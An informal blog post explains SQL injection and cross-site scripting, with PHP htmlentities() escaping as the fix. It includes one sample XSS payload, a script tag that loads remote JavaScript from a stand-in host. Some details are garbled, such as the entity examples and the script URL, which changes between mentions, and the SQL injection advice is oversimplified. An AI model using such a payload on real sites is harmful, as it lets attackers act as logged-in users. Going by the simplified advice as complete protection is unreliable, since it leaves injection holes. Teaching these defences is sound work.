SQL injection is bad… There are a number of causes, put most simply it is when you don’t use sql properly. How do you prevent it? There are several approaches, the absolute easiest is to configure your database to never allow more than one query per call. Most hosting poviders do this already. The other is to use an ORM and never ever compose sql queries from user input without using bind paramaters… (While using an ORM isn’t required to prevent sql injection using one makes the whole world go round better, so just bite the learning curve bullet and use one. Your productivity will go up atleast 100%)
xkcd has a wonderful commic that illustrates how sql injection takes place: http://xkcd.com/327/
First, an example. You run a simple blog. When a user posts comments, you store the users nickname, and display it next to their comment… A malicious user enters the following for his nickname “<script src=”http://lolcatz/hack.js”></script>” Now, obviously that isn’t his nickname. Instead, it is an html tag that tells a web browser to load and run the script contained at http://lolcatz.com/hacks/getacheezeburger.js. What does this script do?? This script can do anything on your site that a logged in user can do. So Bob creates the malicious comment, and then jimmy comes by your site, views your article, and his browser gets Bob’s malicious script tag. Now, the script can do anything it wants on your site while pretending to be jimmy, not Bob.
In php, just enclose the variable you are printing with echo with: htmlentities($nickname); This converts <‘s to < and “‘s to &qt; . This defangs the malicious content. Instead of your users browser seeing a script tag, it just sees html that when rendered appears to the user as a script tag, but doesn’t do anything. You need to do this each and EVERY time you print user generated content. The other option is to find some script that will parse through any user generated content and strip out any script tags, but I prefer just html encoding everything.